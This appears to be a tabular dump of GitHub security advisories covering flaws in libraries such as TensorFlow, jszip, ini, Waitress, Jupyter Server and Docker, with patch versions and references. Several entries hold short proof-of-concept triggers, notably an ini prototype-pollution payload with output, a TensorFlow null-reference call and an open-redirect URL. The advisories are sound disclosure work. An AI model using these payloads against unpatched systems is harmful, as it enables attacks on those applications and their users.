GHSA | GHSA-h3mf-4fwp-59c7 | VecStorage Deserialize Allows Violation of Length Invariant | The `Deserialize` implementation for `VecStorage` did not maintain the invariant that the number of elements must equal `nrows * ncols`. Deserialization of specially crafted inputs could allow memory access beyond allocation of the vector.
This flaw was introduced in v0.11.0 ([`086e6e`](https://github.com/dimforge/nalgebra/commit/086e6e719f53fecba6dadad2e953a487976387f5)) due to the addition of an automatically derived implementation of `Deserialize` for `MatrixVec`. `MatrixVec` was later renamed to `VecStorage` in v0.16.13 ([`0f66403`](https://github.com/dimforge/nalgebra/commit/0f66403cbbe9eeac15cedd8a906c0d6a3d8841f2)) and continued to use the automatically derived implementation of `Deserialize`.
This flaw was corrected in commit [`5bff536`](https://github.com/dimforge/nalgebra/commit/5bff5368bf38ddfa31416e4ae9897b163031a513) by returning an error during deserialization if the number of elements does not exactly match the expected size.
| null | 2021-08-18T23:03:07Z | 2021-08-05T19:58:06Z | MODERATE | 0 | null | {'https://github.com/advisories/GHSA-h3mf-4fwp-59c7', 'https://github.com/dimforge/nalgebra/issues/883', 'https://github.com/dimforge/nalgebra/blob/dev/CHANGELOG.md#0270', 'https://github.com/dimforge/nalgebra/pull/889', 'https://github.com/dimforge/nalgebra/commit/a803271fcce75b7c151e92aa099dfa546db4adc5', 'https://rustsec.org/advisories/RUSTSEC-2021-0070.html'} | null | {'https://github.com/dimforge/nalgebra/commit/a803271fcce75b7c151e92aa099dfa546db4adc5'} | {'https://github.com/dimforge/nalgebra/commit/a803271fcce75b7c151e92aa099dfa546db4adc5'} |
GHSA | GHSA-grfj-wjv9-4f9v | Open redirect in Jupyter Server | ### Impact
_What kind of vulnerability is it? Who is impacted?_
Open redirect vulnerability - a maliciously crafted link to a jupyter server could redirect the browser to a different website.
All jupyter servers are technically affected, however, these maliciously crafted links can only be reasonably made for known jupyter server hosts. A link to your jupyter server may *appear* safe, but ultimately redirect to a spoofed server on the public internet.
This originated in jupyter/notebook: https://github.com/jupyter/notebook/security/advisories/GHSA-c7vm-f5p4-8fqh
### Patches
_Has the problem been patched? What versions should users upgrade to?_
jupyter_server 1.0.6
### References
[OWASP page on open redirects](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)
### For more information
If you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list [security@ipython.org](mailto:security@ipython.org).
Credit: zhuonan li of Alibaba Application Security Team | {'CVE-2020-26232'} | 2021-01-07T22:40:25Z | 2020-11-24T21:20:52Z | MODERATE | 4.1 | {'CWE-601'} | {'https://github.com/jupyter-server/jupyter_server/blob/master/CHANGELOG.md#106---2020-11-18', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26232', 'https://github.com/jupyter/jupyter_server/security/advisories/GHSA-grfj-wjv9-4f9v', 'https://github.com/jupyter-server/jupyter_server/commit/3d83e49090289c431da253e2bdb8dc479cbcb157', 'https://github.com/advisories/GHSA-grfj-wjv9-4f9v'} | null | {'https://github.com/jupyter-server/jupyter_server/commit/3d83e49090289c431da253e2bdb8dc479cbcb157'} | {'https://github.com/jupyter-server/jupyter_server/commit/3d83e49090289c431da253e2bdb8dc479cbcb157'} |
GHSA | GHSA-w74j-v8xh-3w5h | Reference binding to nullptr in unicode encoding | ### Impact
An attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.UnicodeEncode`:
```python
import tensorflow as tf
from tensorflow.python.ops import gen_string_ops
gen_string_ops.unicode_encode(
input_values=[],
input_splits=[],
output_encoding='UTF-8',
errors='ignore',
replacement_char='a')
```
The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/unicode_ops.cc#L533-L539) reads the first dimension of the `input_splits` tensor before validating that this tensor is not empty:
```cc
const Tensor& input_splits = context->input(1);
const auto input_splits_flat = input_splits.flat<SPLITS_TYPE>();
TensorShape output_shape({input_splits.dim_size(0) - 1});
```
### Patches
We have patched the issue in GitHub commit [2e0ee46f1a47675152d3d865797a18358881d7a6](https://github.com/tensorflow/tensorflow/commit/2e0ee46f1a47675152d3d865797a18358881d7a6).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-37667'} | 2021-08-25T14:42:09Z | 2021-08-25T14:42:09Z | HIGH | 7.8 | {'CWE-824'} | {'https://github.com/tensorflow/tensorflow/commit/2e0ee46f1a47675152d3d865797a18358881d7a6', 'https://nvd.nist.gov/vuln/detail/CVE-2021-37667', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-w74j-v8xh-3w5h', 'https://github.com/advisories/GHSA-w74j-v8xh-3w5h'} | null | {'https://github.com/tensorflow/tensorflow/commit/2e0ee46f1a47675152d3d865797a18358881d7a6'} | {'https://github.com/tensorflow/tensorflow/commit/2e0ee46f1a47675152d3d865797a18358881d7a6'} |
GHSA | GHSA-cfcv-q4qq-2ph4 | CKEditor 4 vulnerabilities in versions <4.16.1 | Details see:
https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-m94c-37g6-cjhc ( CVE-2021-37695 )
https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-6226-h7ff-ch6c ( CVE-2021-32808 )
https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-7889-rm5j-hpgg ( CVE-2021-32809 )
Patch:
https://github.com/pimcore/pimcore/pull/10032 | null | 2021-10-08T21:19:54Z | 2021-08-23T19:42:05Z | MODERATE | 0 | null | {'https://github.com/pimcore/pimcore/security/advisories/GHSA-cfcv-q4qq-2ph4', 'https://github.com/pimcore/pimcore/commit/0d2ce3b1db4ac40646cee5104115767505760b6a', 'https://github.com/advisories/GHSA-cfcv-q4qq-2ph4'} | null | {'https://github.com/pimcore/pimcore/commit/0d2ce3b1db4ac40646cee5104115767505760b6a'} | {'https://github.com/pimcore/pimcore/commit/0d2ce3b1db4ac40646cee5104115767505760b6a'} |
GHSA | GHSA-xc7v-wxcw-j472 | Memory Exposure in tunnel-agent | Versions of `tunnel-agent` before 0.6.0 are vulnerable to memory exposure.
This is exploitable if user supplied input is provided to the auth value and is a number.
Proof-of-concept:
```js
require('request')({
method: 'GET',
uri: 'http://www.example.com',
tunnel: true,
proxy:{
protocol: 'http:',
host:'127.0.0.1',
port:8080,
auth:USERSUPPLIEDINPUT // number
}
});
```
## Recommendation
Update to version 0.6.0 or later. | null | 2021-08-04T20:28:52Z | 2019-06-03T17:08:26Z | MODERATE | 0 | {'CWE-200'} | {'https://github.com/request/tunnel-agent/commit/9ca95ec7219daface8a6fc2674000653de0922c0', 'https://www.npmjs.com/advisories/598', 'https://github.com/advisories/GHSA-xc7v-wxcw-j472', 'https://gist.github.com/ChALkeR/fd6b2c445834244e7d440a043f9d2ff4'} | null | {'https://github.com/request/tunnel-agent/commit/9ca95ec7219daface8a6fc2674000653de0922c0'} | {'https://github.com/request/tunnel-agent/commit/9ca95ec7219daface8a6fc2674000653de0922c0'} |
GHSA | GHSA-wxj3-qwv4-cvfm | Privilege Escalation in Docker | Docker 1.0.0 uses world-readable and world-writable permissions on the management socket, which allows local users to gain privileges via unspecified vectors. | {'CVE-2014-3499'} | 2022-02-15T00:40:44Z | 2022-02-15T00:40:44Z | HIGH | 8.4 | {'CWE-269'} | {'https://nvd.nist.gov/vuln/detail/CVE-2014-3499', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3499', 'https://github.com/advisories/GHSA-wxj3-qwv4-cvfm', 'https://github.com/docker/docker/commit/707ef9618b3b26a0534a0af732a22f159eccfaa5', 'https://bugzilla.redhat.com/show_bug.cgi?id=1111687', 'https://rhn.redhat.com/errata/RHSA-2014-0820.html'} | null | {'https://github.com/docker/docker/commit/707ef9618b3b26a0534a0af732a22f159eccfaa5'} | {'https://github.com/docker/docker/commit/707ef9618b3b26a0534a0af732a22f159eccfaa5'} |
GHSA | GHSA-rfhr-62xp-2fp2 | Open Redirect in trailing-slash | The package trailing-slash before 2.0.1 are vulnerable to Open Redirect via the use of trailing double slashes in the URL when accessing the vulnerable endpoint (such as https://example.com//attacker.example/). The vulnerable code is in index.js::createTrailing(), as the web server uses relative URLs instead of absolute URLs. | {'CVE-2021-23387'} | 2021-06-08T23:19:21Z | 2021-06-08T23:19:21Z | MODERATE | 5.4 | {'CWE-601'} | {'https://github.com/fardog/trailing-slash/blob/f640ece055fe85275c983de5eb94661b95e35670/index.js%23L36', 'https://github.com/fardog/trailing-slash/commit/f8e66f1429308247e5a119d430203077d8f05048', 'https://nvd.nist.gov/vuln/detail/CVE-2021-23387', 'https://snyk.io/vuln/SNYK-JS-TRAILINGSLASH-1085707', 'https://github.com/advisories/GHSA-rfhr-62xp-2fp2'} | null | {'https://github.com/fardog/trailing-slash/commit/f8e66f1429308247e5a119d430203077d8f05048'} | {'https://github.com/fardog/trailing-slash/commit/f8e66f1429308247e5a119d430203077d8f05048'} |
GHSA | GHSA-x5jp-9fmm-m9pf | showdoc is vulnerable to Cross-Site Request Forgery (CSRF) | showdoc is vulnerable to Cross-Site Request Forgery (CSRF). | {'CVE-2021-3683'} | 2021-11-17T21:11:17Z | 2021-11-15T23:13:52Z | MODERATE | 5.4 | {'CWE-352'} | {'https://github.com/star7th/showdoc/commit/67093c879a6563aa6ee08003177777d1975e2351', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3683', 'https://github.com/advisories/GHSA-x5jp-9fmm-m9pf', 'https://huntr.dev/bounties/063a339a-5d78-40d6-a96a-6716960e8134'} | null | {'https://github.com/star7th/showdoc/commit/67093c879a6563aa6ee08003177777d1975e2351'} | {'https://github.com/star7th/showdoc/commit/67093c879a6563aa6ee08003177777d1975e2351'} |
GHSA | GHSA-9959-6p3m-wxpc | Denial of service in Netty | The SslHandler in Netty before 3.9.2 allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a crafted SSLv2Hello message. | {'CVE-2014-3488'} | 2021-09-22T18:44:48Z | 2020-06-30T21:01:31Z | MODERATE | 0 | {'CWE-119'} | {'https://lists.debian.org/debian-lts-announce/2020/02/msg00018.html', 'https://github.com/netty/netty/commit/2fa9400a59d0563a66908aba55c41e7285a04994', 'https://snyk.io/vuln/SNYK-JAVA-ORGJBOSSNETTY-31630', 'http://netty.io/news/2014/06/11/3-9-2-Final.html', 'https://github.com/advisories/GHSA-9959-6p3m-wxpc', 'http://secunia.com/advisories/59196', 'https://github.com/netty/netty/issues/2562', 'https://nvd.nist.gov/vuln/detail/CVE-2014-3488'} | null | {'https://github.com/netty/netty/commit/2fa9400a59d0563a66908aba55c41e7285a04994'} | {'https://github.com/netty/netty/commit/2fa9400a59d0563a66908aba55c41e7285a04994'} |
GHSA | GHSA-jg8v-48h5-wgxg | Prototype Pollution | This affects the package jszip before 3.7.0. Crafting a new zip file with filenames set to Object prototype values (e.g __proto__, toString, etc) results in a returned object with a modified prototype instance. | {'CVE-2021-23413'} | 2021-08-31T20:58:02Z | 2021-08-10T16:02:18Z | MODERATE | 5.3 | {'CWE-1321'} | {'https://github.com/Stuk/jszip/blob/master/lib/object.js%23L88', 'https://github.com/Stuk/jszip/commit/22357494f424178cb416cdb7d93b26dd4f824b36', 'https://github.com/advisories/GHSA-jg8v-48h5-wgxg', 'https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1251498', 'https://nvd.nist.gov/vuln/detail/CVE-2021-23413', 'https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1251499', 'https://snyk.io/vuln/SNYK-JS-JSZIP-1251497', 'https://github.com/Stuk/jszip/pull/766'} | null | {'https://github.com/Stuk/jszip/commit/22357494f424178cb416cdb7d93b26dd4f824b36'} | {'https://github.com/Stuk/jszip/commit/22357494f424178cb416cdb7d93b26dd4f824b36'} |
GHSA | GHSA-52qp-jpq7-6c54 | Insecure Deserialization of untrusted data in rmccue/requests | ### Impact
Unserialization of untrusted data.
### Patches
The issue has been patched and users of `Requests` 1.6.0, 1.6.1 and 1.7.0 should update to version 1.8.0.
### References
Publications about the vulnerability:
* https://dannewitz.ninja/posts/php-unserialize-object-injection-yet-another-stars-rating-wordpress
* https://github.com/ambionics/phpggc/issues/52
* https://blog.detectify.com/2019/07/23/improving-wordpress-plugin-security/
* https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf
* https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It%27s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf
* https://2018.zeronights.ru/wp-content/uploads/materials/9%20ZN2018%20WV%20-%20PHP%20unserialize.pdf
* https://medium.com/@knownsec404team/extend-the-attack-surface-of-php-deserialization-vulnerability-via-phar-d6455c6a1066#3c0f
Originally fixed in WordPress 5.5.2:
* https://github.com/WordPress/wordpress-develop/commit/add6bedf3a53b647d0ebda2970057912d3cd79d3
* https://wordpress.org/news/2020/10/wordpress-5-5-2-security-and-maintenance-release/
Related Security Advisories:
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-28032
* https://nvd.nist.gov/vuln/detail/CVE-2020-28032
Notification to the Requests repo including a fix in:
* https://github.com/rmccue/Requests/pull/421 and
* https://github.com/rmccue/Requests/pull/422
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Request](https://github.com/WordPress/Requests/) | {'CVE-2021-29476'} | 2022-04-19T19:02:47Z | 2021-04-29T21:52:30Z | CRITICAL | 9.8 | {'CWE-502'} | {'https://github.com/WordPress/wordpress-develop/commit/add6bedf3a53b647d0ebda2970057912d3cd79d3', 'https://wordpress.org/news/2020/10/wordpress-5-5-2-security-and-maintenance-release/', 'https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf', 'https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It%27s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf', 'https://2018.zeronights.ru/wp-content/uploads/materials/9%20ZN2018%20WV%20-%20PHP%20unserialize.pdf', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29476', 'https://dannewitz.ninja/posts/php-unserialize-object-injection-yet-another-stars-rating-wordpress', 'https://medium.com/@knownsec404team/extend-the-attack-surface-of-php-deserialization-vulnerability-via-phar-d6455c6a1066#3c0f', 'https://github.com/WordPress/Requests/security/advisories/GHSA-52qp-jpq7-6c54', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/rmccue/requests/CVE-2021-29476.yaml', 'https://github.com/advisories/GHSA-52qp-jpq7-6c54', 'https://blog.detectify.com/2019/07/23/improving-wordpress-plugin-security/', 'https://github.com/ambionics/phpggc/issues/52', 'https://github.com/rmccue/Requests/pull/421'} | null | {'https://github.com/WordPress/wordpress-develop/commit/add6bedf3a53b647d0ebda2970057912d3cd79d3'} | {'https://github.com/WordPress/wordpress-develop/commit/add6bedf3a53b647d0ebda2970057912d3cd79d3'} |
GHSA | GHSA-86r9-39j9-99wp | Elliptic Curve Key Disclosure in go-jose | go-jose before 1.0.4 suffers from an invalid curve attack for the ECDH-ES algorithm. When deriving a shared key using ECDH-ES for an encrypted message, go-jose neglected to check that the received public key on a message is on the same curve as the static private key of the receiver, thus making it vulnerable to an invalid curve attack. | {'CVE-2016-9121'} | 2021-06-23T17:17:52Z | 2021-06-23T17:17:52Z | CRITICAL | 9.1 | {'CWE-326'} | {'https://www.openwall.com/lists/oss-security/2016/11/03/1', 'https://nvd.nist.gov/vuln/detail/CVE-2016-9121', 'https://github.com/advisories/GHSA-86r9-39j9-99wp', 'https://hackerone.com/reports/164590', 'https://github.com/square/go-jose/commit/c7581939a3656bb65e89d64da0a52364a33d2507'} | null | {'https://github.com/square/go-jose/commit/c7581939a3656bb65e89d64da0a52364a33d2507'} | {'https://github.com/square/go-jose/commit/c7581939a3656bb65e89d64da0a52364a33d2507'} |
GHSA | GHSA-h29f-7f56-j8wh | Moderate severity vulnerability that affects sinatra | An issue was discovered in rack-protection/lib/rack/protection/path_traversal.rb in Sinatra 2.x before 2.0.1 on Windows. Path traversal is possible via backslash characters. | {'CVE-2018-7212'} | 2021-09-13T14:42:42Z | 2018-02-20T19:23:20Z | MODERATE | 5.3 | {'CWE-22'} | {'https://github.com/sinatra/sinatra/commit/6ad721abcfe36334108dcdd05d046c361e1b7a9c', 'https://github.com/sinatra/sinatra/pull/1379', 'https://github.com/advisories/GHSA-h29f-7f56-j8wh', 'https://nvd.nist.gov/vuln/detail/CVE-2018-7212'} | null | {'https://github.com/sinatra/sinatra/commit/6ad721abcfe36334108dcdd05d046c361e1b7a9c'} | {'https://github.com/sinatra/sinatra/commit/6ad721abcfe36334108dcdd05d046c361e1b7a9c'} |
GHSA | GHSA-pq4w-qm9g-qx68 | Insufficient Nonce Validation in Eclipse Milo Client | ### Impact
Credential replay affecting those connected to a server when *all 3* of the following conditions are met:
- `SecurityPolicy` is `None`
- using username/password or X509-based authentication
- the server has a defect causing it to send null/empty or zeroed nonces
### Patches
The problem has been patched in version `0.3.6`. A more relaxed treatment of validation as agreed upon by the OPC UA Security Working Group is implemented in version `0.3.7`.
### Workarounds
Do not use username/password or X509-based authentication with `SecurityPolicy` of `None`.
### References
https://opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2019-19135.pdf
### For more information
If you have any questions or comments about this advisory:
* Open an issue at [https://github.com/eclipse/milo/issues](https://github.com/eclipse/milo/issues)
* Email [the mailing list](mailto:milo-dev@eclipse.org) | {'CVE-2019-19135'} | 2021-07-28T18:54:54Z | 2020-03-16T22:46:50Z | HIGH | 7.4 | {'CWE-330', 'CWE-522'} | {'https://opcfoundation.org/security-bulletins/', 'https://github.com/eclipse/milo/commit/cac0e710bf2b8bed9c602fc597e9de1d8903abed', 'https://opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2019-19135.pdf', 'https://github.com/eclipse/milo/security/advisories/GHSA-pq4w-qm9g-qx68', 'https://nvd.nist.gov/vuln/detail/CVE-2019-19135', 'https://github.com/advisories/GHSA-pq4w-qm9g-qx68'} | null | {'https://github.com/eclipse/milo/commit/cac0e710bf2b8bed9c602fc597e9de1d8903abed'} | {'https://github.com/eclipse/milo/commit/cac0e710bf2b8bed9c602fc597e9de1d8903abed'} |
GHSA | GHSA-cfm4-qjh2-4765 | Improper Verification of Cryptographic Signature in node-forge | ### Impact
RSA PKCS#1 v1.5 signature verification code is lenient in checking the digest algorithm structure. This can allow a crafted structure that steals padding bytes and uses unchecked portion of the PKCS#1 encoded message to forge a signature when a low public exponent is being used.
### Patches
The issue has been addressed in `node-forge` `1.3.0`.
### References
For more information, please see
["Bleichenbacher's RSA signature forgery based on implementation error"](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/)
by Hal Finney.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [forge](https://github.com/digitalbazaar/forge)
* Email us at [example email address](mailto:security@digitalbazaar.com) | {'CVE-2022-24771'} | 2022-03-22T19:33:47Z | 2022-03-18T23:09:54Z | HIGH | 7.5 | {'CWE-347'} | {'https://github.com/digitalbazaar/forge/commit/3f0b49a0573ef1bb7af7f5673c0cfebf00424df1', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24771', 'https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765', 'https://github.com/digitalbazaar/forge/commit/bb822c02df0b61211836472e29b9790cc541cdb2', 'https://github.com/advisories/GHSA-cfm4-qjh2-4765'} | null | {'https://github.com/digitalbazaar/forge/commit/3f0b49a0573ef1bb7af7f5673c0cfebf00424df1', 'https://github.com/digitalbazaar/forge/commit/bb822c02df0b61211836472e29b9790cc541cdb2'} | {'https://github.com/digitalbazaar/forge/commit/bb822c02df0b61211836472e29b9790cc541cdb2', 'https://github.com/digitalbazaar/forge/commit/3f0b49a0573ef1bb7af7f5673c0cfebf00424df1'} |
GHSA | GHSA-qqgx-2p2h-9c37 | Prototype Pollution | ### Overview
The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability.
If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.
### Patches
This has been patched in 1.3.6
### Steps to reproduce
payload.ini
```
[__proto__]
polluted = "polluted"
```
poc.js:
```
var fs = require('fs')
var ini = require('ini')
var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)
```
```
> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted
``` | {'CVE-2020-7788'} | 2021-07-28T21:12:38Z | 2020-12-10T16:53:45Z | HIGH | 7.3 | {'CWE-1321'} | {'https://snyk.io/vuln/SNYK-JS-INI-1048974', 'https://www.npmjs.com/advisories/1589', 'https://github.com/advisories/GHSA-qqgx-2p2h-9c37', 'https://lists.debian.org/debian-lts-announce/2020/12/msg00032.html', 'https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7788'} | null | {'https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1'} | {'https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1'} |
GHSA | GHSA-mc8v-mgrf-8f4m | Clarify Content-Type handling | ### Impact
In the OCI Distribution Specification version 1.0.0 and prior, the Content-Type header alone was used to determine the type of document during push and pull operations. Documents that contain both “manifests” and “layers” fields could be interpreted as either a manifest or an index in the absence of an accompanying Content-Type header. If a Content-Type header changed between two pulls of the same digest, a client may interpret the resulting content differently.
### Patches
The OCI Distribution Specification will be updated to require that a `mediaType` value present in a manifest or index match the Content-Type header used during the push and pull operations.
### Workarounds
Clients pulling from a registry may distrust the Content-Type header and reject an ambiguous document that contains both “manifests” and “layers” fields or “manifests” and “config” fields.
### References
https://github.com/opencontainers/image-spec/security/advisories/GHSA-77vh-xpmg-72qh
### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/opencontainers/distribution-spec/
* Email us at security@opencontainers.org
| {'CVE-2021-41190'} | 2022-04-19T19:03:13Z | 2021-11-18T16:13:08Z | LOW | 3 | {'CWE-843'} | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/A2RRFNTMFYKOTRKD37F5ANMCIO3GGJML/', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41190', 'https://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RZTO6N55WHKHIZI4IMLY2QFBPMVTAERM/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3TUZNDAH2B26VPBK342UC3BHZNLBUXGX/', 'https://github.com/opencontainers/distribution-spec/commit/ac28cac0557bcd3084714ab09f9f2356fe504923', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4334HT7AZPLWNYHW4ARU6JBUF3VZJPZN/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/T4OJ764CKKCWCVONHD4YXTGR7HZ7LRUV/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YIGVQWOA5XXCQXEOOKZX4CDAGLBDRPRX/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SQBCYJUIM5GVCMFUPRWKRZNXMMI5EFA4/', 'https://github.com/advisories/GHSA-mc8v-mgrf-8f4m', 'http://www.openwall.com/lists/oss-security/2021/11/19/10', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DX63GRWFEI5RVMYV6XLMCG4OHPWZML27/'} | null | {'https://github.com/opencontainers/distribution-spec/commit/ac28cac0557bcd3084714ab09f9f2356fe504923'} | {'https://github.com/opencontainers/distribution-spec/commit/ac28cac0557bcd3084714ab09f9f2356fe504923'} |
GHSA | GHSA-4w5x-x539-ppf5 | Incorrect handling of credential expiry by NATS Server |
## Problem Description
NATS nats-server through 2020-10-07 has Incorrect Access Control because of how expired credentials are handled.
The NATS accounts system has expiration timestamps on credentials; the <https://github.com/nats-io/jwt> library had an API which encouraged misuse and an `IsRevoked()` method which misused its own API.
A new `IsClaimRevoked()` method has correct handling and the nats-server has been updated to use this. The old `IsRevoked()` method now always returns true and other client code will have to be updated to avoid calling it.
The CVE identifier should cover any application using the old JWT API, where the nats-server is one of those applications.
## Affected versions
#### JWT library
* all versions prior to 1.1.0
* fixed after nats-io/jwt PR 103 landed (2020-10-06)
#### NATS Server
* Version 2 prior to 2.1.9
+ 2.0.0 through and including 2.1.8 are vulnerable.
* fixed with nats-io/nats-server PRs 1632, 1635, 1645
## Impact
Time-based credential expiry did not work.
## Workaround
Have credentials which only expire after fixes can be deployed.
## Solution
Upgrade the JWT dependency in any application using it.
Upgrade the NATS server if using NATS Accounts. | {'CVE-2020-26892'} | 2022-02-11T23:42:49Z | 2022-02-11T23:42:20Z | HIGH | 5.9 | {'CWE-798'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-26892', 'https://github.com/nats-io/jwt/security/advisories/GHSA-4w5x-x539-ppf5', 'https://github.com/nats-io/nats-server/commits/master', 'https://www.openwall.com/lists/oss-security/2020/11/02/2', 'https://advisories.nats.io/CVE/CVE-2020-26892.txt', 'https://github.com/advisories/GHSA-4w5x-x539-ppf5', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VT67XCLIIBYRT762SVFBYFFTQFVSM3SI/', 'https://github.com/nats-io/nats-server/commit/1e08b67f08e18cd844dce833a265aaa72500a12f'} | null | {'https://github.com/nats-io/nats-server/commit/1e08b67f08e18cd844dce833a265aaa72500a12f'} | {'https://github.com/nats-io/nats-server/commit/1e08b67f08e18cd844dce833a265aaa72500a12f'} |
GHSA | GHSA-968f-66r5-5v74 | HTTP Request Smuggling in Waitress: Invalid whitespace characters in headers (Follow-up) | ### Impact
The patches introduced to fix https://github.com/Pylons/waitress/security/advisories/GHSA-m5ff-3wj3-8ph4 were not complete and still would allow an attacker to smuggle requests/split a HTTP request with invalid data.
This updates the existing CVE with ID: CVE-2019-16789
### Patches
Waitress version 1.4.2 has been updated to now validate HTTP headers better to avoid the issue, completely fixing all known issues with whitespace.
### Workarounds
There are no work-arounds, upgrading to Waitress 1.4.2 is highly recommended.
### References
See https://github.com/Pylons/waitress/security/advisories/GHSA-m5ff-3wj3-8ph4 for more information on the security issue.
### For more information
If you have any questions or comments about this advisory:
* open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)
* email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related) | {'CVE-2019-16789'} | 2022-04-25T23:09:38Z | 2020-01-06T18:44:21Z | HIGH | 7.1 | {'CWE-444'} | {'https://github.com/Pylons/waitress/security/advisories/GHSA-968f-66r5-5v74', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LYEOTGWJZVKPRXX2HBNVIYWCX73QYPM5/', 'https://github.com/advisories/GHSA-968f-66r5-5v74', 'https://access.redhat.com/errata/RHSA-2020:0720', 'https://www.oracle.com/security-alerts/cpuapr2022.html', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GVDHR2DNKCNQ7YQXISJ45NT4IQDX3LJ7/', 'https://github.com/github/advisory-review/pull/14604', 'https://nvd.nist.gov/vuln/detail/CVE-2019-16789', 'https://docs.pylonsproject.org/projects/waitress/en/latest/#security-fixes', 'https://github.com/Pylons/waitress/commit/11d9e138125ad46e951027184b13242a3c1de017'} | null | {'https://github.com/Pylons/waitress/commit/11d9e138125ad46e951027184b13242a3c1de017'} | {'https://github.com/Pylons/waitress/commit/11d9e138125ad46e951027184b13242a3c1de017'} |
GHSA | GHSA-ff5x-w9wg-h275 | Holder can generate proof of ownership for credentials it does not control in vp-toolkit | ### Impact
The [`verifyVerifiablePresentation()`](https://github.com/rabobank-blockchain/vp-toolkit/blob/master/src/service/signers/verifiable-presentation-signer.ts#L97) method check the cryptographic integrity of the Verifiable Presentation, but it does not check if the [`credentialSubject.id`](https://github.com/rabobank-blockchain/vp-toolkit-models/blob/develop/src/model/verifiable-credential.ts#L150) DID matches the signer of the VP proof.
The **verifier** is impacted by this vulnerability.
### Patches
Patch will be available in version 0.2.2.
### Workarounds
- Compute the address out of the `verifiablePresentation.proof.n.verificationMethod` using `getAddressFromPubKey()` from `crypt-util@0.1.5` and match it with the `credentialSubject.id` address from the credential.
### References
[Github issue](https://github.com/rabobank-blockchain/vp-toolkit/issues/14)
### For more information
If you have any questions or comments about this advisory:
* Discuss in the existing [issue](https://github.com/rabobank-blockchain/vp-toolkit/issues/14)
